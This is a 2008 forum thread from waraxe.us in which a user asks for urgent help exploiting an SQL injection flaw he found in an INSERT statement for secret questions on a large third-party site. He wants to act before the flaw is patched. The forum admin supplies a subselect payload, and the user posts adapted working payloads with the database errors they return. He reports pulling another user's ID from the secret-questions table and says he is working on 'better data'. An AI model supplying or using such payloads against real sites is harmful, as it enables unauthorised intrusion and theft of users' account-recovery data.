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www.waraxe.us Forum Index -> Sql injection -> SQL Injection, help, ASAP
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SQL Injection, help, ASAP
PostPosted: Mon May 26, 2008 3:11 pm Reply with quote
Oilik
Active user
Active user
 
Joined: Mar 05, 2008
Posts: 35




Hello,
I found a potential SQL injection in an extremely popular large site. When I inject code in it, I get:
Quote:


result = 20276
An Error Was Encountered

Error Number:

ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^

INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --')

Please help ASAP, seeing this most likely will be patched within an hour!
It's using PHP, so no stacked commands. Is there anything I can do?
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Re: SQL Injection, help, ASAP
PostPosted: Mon May 26, 2008 3:27 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Oilik wrote:
Hello,
I found a potential SQL injection in an extremely popular large site. When I inject code in it, I get:
Quote:


result = 20276
An Error Was Encountered

Error Number:

ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^

INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --')

Please help ASAP, seeing this most likely will be patched within an hour!
It's using PHP, so no stacked commands. Is there anything I can do?


Is it mysql, right? If it's >= 4.1, then maybe you can use subselects.
Something like this:

Code:

0'+(SELECT COUNT(*) FROM mysql.user)/*


Can you see "answer" after you inserted it do database. If so, then visual feedback is OK. If no, then blind injection may be needed.


Last edited by waraxe on Mon May 26, 2008 3:28 pm; edited 1 time in total
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Re: SQL Injection, help, ASAP
PostPosted: Mon May 26, 2008 3:28 pm Reply with quote
Oilik
Active user
Active user
 
Joined: Mar 05, 2008
Posts: 35




edit: still exists,
but when I try that, I get
Quote:

ERROR: unterminated /* comment at or near "/* ') " LINE 2: ...ES ('48767', '1','0'+(SELECT COUNT(*) FROM mysql.user)/* ') ^

thanks!
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PostPosted: Mon May 26, 2008 3:40 pm Reply with quote
Oilik
Active user
Active user
 
Joined: Mar 05, 2008
Posts: 35




sry for the double post, but I tried
Code:

0'+(SELECT COUNT(*) FROM mysql.user));--


and got
Code:

An Error Was Encountered
Error Number:

ERROR: schema "mysql" does not exist

INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48772', '1','0'+(SELECT COUNT(*) FROM mysql.user));--')


please help, i'll share the ownage with you at the end :p


Edit:
I used
Code:

0'+(SELECT user_id FROM users_secret_questions WHERE answer = 'hello' LIMIT 1));--

and I went in to check the plaintext of the security question. I got the first of users_secret_questions user's ID as my ASQ! I'm working on retrieveing better data right now.
Thanks waraxe!!!
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SQL Injection, help, ASAP
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